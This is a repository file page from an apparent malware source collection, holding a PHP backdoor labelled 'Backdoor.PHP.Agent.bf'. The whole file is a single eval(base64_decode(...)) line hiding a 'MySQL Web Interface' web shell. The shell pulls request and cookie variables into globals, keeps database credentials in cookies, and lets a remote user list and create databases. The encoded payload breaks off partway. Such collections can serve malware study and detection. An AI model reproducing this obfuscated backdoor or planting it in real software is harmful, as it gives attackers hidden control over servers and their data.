MalwareSourceCode/PHP/Backdoor.PHP.Agent.bf

1 line
52 KiB
Brainfuck
Raw Normal View History

2020-10-10 03:05:41 +00:00
<? eval (base64_decode('LyoNCiAqIE15U1FMIFdlYiBJbnRlcmZhY2UgVmVyc2lvbiAyDQ ogKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQog KiBEZXZlbG9wZWQgQnkgc05pcGVyX2hFeA0KKi8NCg0KaWYgKC BmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSApIHsNCgkkb25v ZmYgPSBpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJyk7DQp9IG Vsc2Ugew0KCSRvbm9mZiA9IGdldF9jZmdfdmFyKCdyZWdpc3Rl cl9nbG9iYWxzJyk7DQp9DQppZiAoJG9ub2ZmICE9IDEpIHsNCg lAZXh0cmFjdCgkSFRUUF9TRVJWRVJfVkFSUywgRVhUUl9TS0lQ KTsNCglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFSUywgRVhUUl 9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX0ZJTEVTLCBF WFRSX1NLSVApOw0KCUBleHRyYWN0KCRIVFRQX1BPU1RfVkFSUy wgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9HRVRfVkFS UywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9FTlZfVk FSUywgRVhUUl9TS0lQKTsNCn0NCg0KZnVuY3Rpb24gbG9nb24o KSB7DQoJZ2xvYmFsICRQSFBfU0VMRjsNCg0KCXNldGNvb2tpZS ggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIgKTsNCglzZXRj b29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICk7DQ oJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX2hvc3RuYW1l IiApOw0KCWVjaG8gIjxodG1sPlxuIjsNCgllY2hvICI8aGVhZD 5cbiI7DQoJZWNobyAiPHRpdGxlPk15U1FMIEludGVyZmFjZTwv dGl0bGU+XG4iOw0KCWVjaG8gIjwvaGVhZD5cbiI7DQoJZWNoby AiPGJvZHk+XG4iOw0KCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAl IGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJZW NobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZCBiZ2Nv bG9yPSNhNGEyNjA+PGNlbnRlcj5cbiI7DQoJZWNobyAiPHRhYm xlIGNlbGxwYWRkaW5nPTIwPjx0cj48dGQgYmdjb2xvcj0jZmZm ZmZmPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBXZW IgSW50ZXJmYWNlPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0 aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdH lwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9bG9nb25fc3Vi bWl0PlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NS BjZWxsc3BhY2luZz0xPlxuIjsNCgllY2hvICI8dHI+PHRkPkhv c3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbW U9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3Ry PlxuIjsNCgllY2hvICI8dHI+PHRkPlVzZXJuYW1lIDwvdGQ+PH RkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXNlcm5hbWU+PC90 ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkPlBhc3N3b3JkID wvdGQ+PHRkPiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBh c3N3b3JkPjwvdGQ+PC90cj5cbiI7DQoJZWNobyAiPC90YWJsZT 48cD5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZh bHVlPSdFbnRlcic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPX Jlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsNCgllY2hvICI8 L2Zvcm0+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj 48L3RhYmxlPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwv dHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPHA+PGhyIHdpZHRoPT MwMD5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwv dGFibGU+XG4iOw0KCWVjaG8gIjwvYm9keT5cbiI7DQoJZWNoby AiPC9odG1sPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3Vi bWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZC wgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1l ID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCX NldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIs ICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl 9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNv b2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3 N0bmFtZSApOw0KCWVjaG8gIjxodG1sPiI7DQoJZWNobyAiPGhl YWQ+IjsNCgllY2hvICI8TUVUQSBIVFRQLUVRVUlWPVJlZnJlc2 ggQ09OVEVOVD0nMDsgVVJMPSRQSFBfU0VMRj9hY3Rpb249bGlz dERCcyc+IjsNCgllY2hvICI8L2hlYWQ+IjsNCgllY2hvICI8L2 h0bWw+IjsNCn0NCg0KZnVuY3Rpb24gZWNob1F1ZXJ5UmVzdWx0 KCkgew0KCWdsb2JhbCAkcXVlcnlTdHIsICRlcnJNc2c7DQoNCg lpZiggJGVyck1zZyA9PSAiIiApICRlcnJNc2cgPSAiU3VjY2Vz cyI7DQoJaWYoICRxdWVyeVN0ciAhPSAiIiApIHsNCgkJZWNoby AiPHRhYmxlIGNlbGxwYWRkaW5nPTU+XG4iOw0KCQllY2hvICI8 dHI+PHRkPlF1ZXJ5PC90ZD48dGQ+JHF1ZXJ5U3RyPC90ZD48L3 RyPlxuIjsNCgkJZWNobyAiPHRyPjx0ZD5SZXN1bHQ8L3RkPjx0 ZD4kZXJyTXNnPC90ZD48L3RyPlxuIjsNCgkJZWNobyAiPC90YW JsZT48cD5cbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBsaXN0RGF0 YWJhc2VzKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRQSF BfU0VMRjsNCg0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwv aDE+XG4iOw0KDQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1 NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4g bmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlREI+XG4iOw0KCWVjaG 8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kYm5hbWU+XG4iOw0K CWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ3JlYX RlIERhdGFiYXNlJz5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsN CgllY2hvICI8aHI+XG4iOw0KDQoJZWNobyAiPHRhYmxlIGNlbG xzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoNCgkkcERC ID0gbXlzcWxfbG